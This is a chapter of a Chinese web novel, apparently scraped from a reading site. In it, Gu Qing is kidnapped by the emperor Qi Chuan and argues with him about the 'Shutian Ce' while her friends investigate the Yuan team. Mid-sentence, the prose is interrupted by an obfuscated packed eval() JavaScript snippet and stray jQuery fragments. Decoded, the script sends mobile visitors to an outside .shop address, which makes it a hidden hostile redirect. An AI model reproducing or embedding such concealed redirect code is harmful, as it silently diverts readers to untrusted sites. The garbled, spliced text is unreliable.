顾晴琢磨着自己被皇帝绑架了好歹能去趟皇宫见见世面,她还没见过真正的有钱人的生活呢,不曾想直接把她带到了净山寺。
她望着那一尊落了灰的神像,认命,也行,正好她也打算来一趟净山寺的,这样一来,车费都省了。
“我还以为以顾二小姐的性子会誓死反抗呢。”
顾晴大咧咧地坐在地上,“为什么?我是那样的人吗?吃力不讨好,我可不想到时候我比赛的时候换成替补队员。”
“看来演武大会对二小姐来说真的非常重要。”
“是啊,是很重要,性命攸关呢,所以赶紧把那十分还给我。”顾晴翻了个白眼,知道原国作弊一事靠祁川是行不通了,干脆摆烂,一句好话也不想跟他说。
“哼,在此之前,我还有些话要问二小姐。”祁川好脾气地坐在顾晴身边,那些个侍卫都叫他打发走了,现在就剩下他们两个。
顾晴丝毫不给面子,倔强地别过脸去。
“关于《殊天策》你知道多少?”
顾晴抬抬眼皮子,“什么是《殊天策》?什么好东西?我怎么不知道?”
“你就这么肯定《殊天策》是好东西?”祁川开始下套,话里有话,意思是你不知道《殊天策》是什么东西,为什么知道它是个好东西?
这层意思顾晴不会不知道,她扯扯嘴角,“因为我这个人啊,不管想什么都会先想到他好的一面,不像某些人,只会把别人想成别有用心的小人。”
话说得不多但针对性极强,目的就是想让祁川膈应。
“还有,《殊天策》中的殊天两字不就代表了是我们国家的东西嘛,关你什么事?”顾晴一旦找着了说话的机会就喋喋不休。
她虽然表面上是这种不耐烦的样子,内心却留了个心眼,她就知道不一般,净山寺、思玉夫人、殊天策,她倒要看看,这位思玉夫人究竟捅出了多大的篓子,连隔壁的墨国都知道了。
“我有一个恩人,他救了我,为了偿还恩情,我当然要付出一切代价拿到我恩人想要的东西,不像某些人,承了别人的恩,却要忘恩负义。”这里两人互相阴阳,谁都不想让对方心里舒坦。
“你说的报恩就是帮他找到《殊天策》?你那恩人莫不是殊天国的人?”
“这就不需要二小姐知道了,好不容易抓到个殊天国的人,你不可能没听说过。”
“怎么就没关系?《殊天策》可是我殊天国的东西,你一个外人,抢别人的东西不太好吧?”顾晴守口如瓶,死都不肯透露半分,但她又想起之前推测演武大会的优胜奖品是《殊天策》,再加上祁川知道碧血丹心蛊的事就算了,还知道她需要获得演武大会的优胜才能解蛊毒,实在是奇怪,她得试探试探!
顾晴话锋一转,“我甚至连《殊天策》长什么样都不知道,若你知道,还一定得告诉我,看看我有没有印象?若我有印象,一定告诉你,免得你再拿什么恩情的来压我。”
“二小姐莫要再装傻了,《殊天策》,人家都叫策了,难不成是块石头?”
顾晴咂嘴,“啧啧啧,那意思就是陛下是见过《殊天策》的咯?你在哪见到的?《殊天策》在哪儿?”
反正顾晴也没打算掩饰自己想要《殊天策》的心,本来好好绑着她的绳子随着她的动作掉在了地上,两人皆是一惊,面面相觑,空气中一阵诡异的沉默。
顾晴嘿嘿尬笑了两声,装作看不见,也不打算解释,通过这次绑架她明白了一个道理,女孩子一个人出门有事没事多在身上装点锋利的东西,她用的自然还是上次围猎时刺伤众生阁黄泉的那根暗器簪子,她在那之后还改良精进了一下,现在更好用了。刚刚在和祁川说那些有的没的时候就是在割绳子。
顾晴掸掸身上的灰,她通过祁川的一系列行为表现分析出他不会杀自己,既然没有性命危险,她还怕什么呢?
“你!果然阴险狡诈!”祁川气得一时间说不出话来。
“什么阴险狡诈?我这叫足智多谋,要是换了别的可怜小姑娘,估计就难逃魔爪喽,这年头,没点心眼,怎么能活得好呢?”
“二小姐的心眼多得怕是跟筛子有的一拼。”
“嘿嘿,过奖过奖。”顾晴不好意思地挠挠后脑勺,第一次被夸还有点不适应,然后瞬间换了一副面孔,“少打岔,问你正事呢,《殊天策》在哪?”
“你难道就只关心《殊天策》?看来二小姐也是一个追求权势利益之人。”祁川捶胸顿足,那是一个惋惜。
“也?那你应该庆幸才是,遇到了一个志同道合的人,大家都是乌鸦你装什么小白鸽?快说,《殊天策》在哪?如果觉得拿了我们殊天国的东西内心过意不去就再跟我说说思玉夫人的下落。”
“说了那么久,终于听到你提思玉夫人了。”
“啊?你是来给我线索的npc吗?非要我cue出来你才肯回答?”顾晴气急败坏就是一通祁川听不懂的词汇,更关键的是她还没有要名词解释的意思,就这样抱着手看着他,等他开口。
“有时候我真的怀疑你究竟是不是那个人的女儿,除了长得像,就完全没有相似的地方。”
“又不是同一个人,要那么相似来干什么?就算是有遗传因素但也会随后天所接触的环境改变的,这个道理你不知道吗?”
“我知道的不比你多——”
“说!”顾晴暴躁起来,知道祁川口中说不出好话,便打断他的胡言乱语。
祁川也是个倔脾气,两人极限拉扯,“我就是不说能怎样?你可要想清楚,你现在可是在我手上,是人质!这荒山老林、夜深人静的!你难道不怕我做出什么来吗?”
“你才想清楚!我才是受害者,你刚刚绑架我,就已经构成了犯罪,罪名成立!天子犯法与庶民同罪!”
祁川气急败坏,直接抽出剑来,“你!”
顾晴龇牙咧嘴,但还是实诚地缩起了脖子。
“算了,不与你一个姑娘家家的一般见识”
顾晴嘴欠,又伸着脖子怼,“怎么了?瞧不起姑娘家家啊?”
然后在祁川亮剑之前她又缩回了脖子。
祁川无奈叹气,再这么下去,他们两个能吵到明天,他把她绑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14206345|150951||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来可不只是为了吵架啊,又不是受虐狂,“跟我来。”
祁川熟门熟路地找到密道,示意顾晴和他一起下去。
顾晴高傲扭头,“不去!不能和坏人走这可是常识!尤其是像我这样的弱女子~”
祁川深吸一气,二话不说拎起顾晴就往地道里面塞,他可算是明白了,对付这个人,光嘴上说是没用的,得用蛮力!
幸亏顾晴在走之前详细地分配了任务,以至于泣血毒一事就算没有顾晴也能够顺利进行,秦蓁蓁等人分头观察追踪原国五人,等都查到一些线索之后,统一回住宿点汇合。
“顾师妹还没回来。”方晴霁看看四周,迟迟没见到那个熟悉的身影回来,从知道泣血毒是原国所为的开始,顾晴的状态就不太对劲,原先以为她独自去找原国的人算账了,但在追踪原国等人的时候也没看到她的身影。
“阿晴说她去四季茶楼找个人。”秦蓁蓁已经累趴了,但一听到顾晴的名字即使昏昏欲睡也要接一句嘴。
说到四季茶楼,自然二人就能想起齐和,方晴霁皱眉,最近顾晴去找这个人的频率有点高啊,而且都这个点了还没回来。
“都那么晚了阿晴还没回来,会不会遇到什么危险?”秦蓁蓁手动撑起自己的眼皮子,每次都能说出方晴霁想说的话来。
“我去找她。”
等秦蓁蓁回头找方晴霁的身影的时候,只在门边看到他飘起来的衣角。
秦蓁蓁又趴回桌上嘟囔,“唉,不用担心,她不去霍霍别人就已经是谢天谢地了。”
“你好像很放心啊?”恢复精神的萧啸四处翻找试图找点吃的东西,“毕竟姑娘家家的,万一晚上走夜路遇到什么危险多不好啊?”
秦蓁蓁眯着眼,“放心吧,不会有事的,她在做什么她自己最清楚,要相信她呀。”
其实在秦蓁蓁刚醒来的时候,顾晴就把这几天发生的事都跟她说了,包括齐和的真实身份、净山寺的种种可疑线索以及来墨国参加演武大会的真实目的,如果她猜的没错,顾晴去四季茶楼应该是去直接正面硬刚了,大抵是跟那骗子皇帝在一块儿,再根据她最近关心的事推算一下,不难推测出顾晴现在的位置。
再加上顾晴向来胆小惜命,她既然敢单枪匹马地去正面硬刚,就说明她有十足的把握保证自己人身安全。
她伸了个懒腰强打起精神坐直身子,招呼萧啸与陈列星凑过来,“阿晴他们现在就像是在前线冲锋,他们在努力,我们可不能拖后腿啊!来来来都精神点,把疑点都列出来,我倒要看看原国的那些家伙要干什么!还有,明天一整天没有比赛,为防止原国在接下来的比赛中还会有小动作,我们研究研究怎样把泣血毒的解药随时带在身上,以免再着他们的道!”
萧啸与陈列星互相对视一眼,亦正经起来,陈列星打头阵,“我着重跟了他们的领队,在没比赛的时候几乎都不出门,甚至连张什么样都不太清楚,就算有比赛离开住宿点,也都会带着面具。”
“面具?”秦蓁蓁咬着笔杆子,“戴面具……是什么象征?掩盖什么?还是单纯地喜欢?”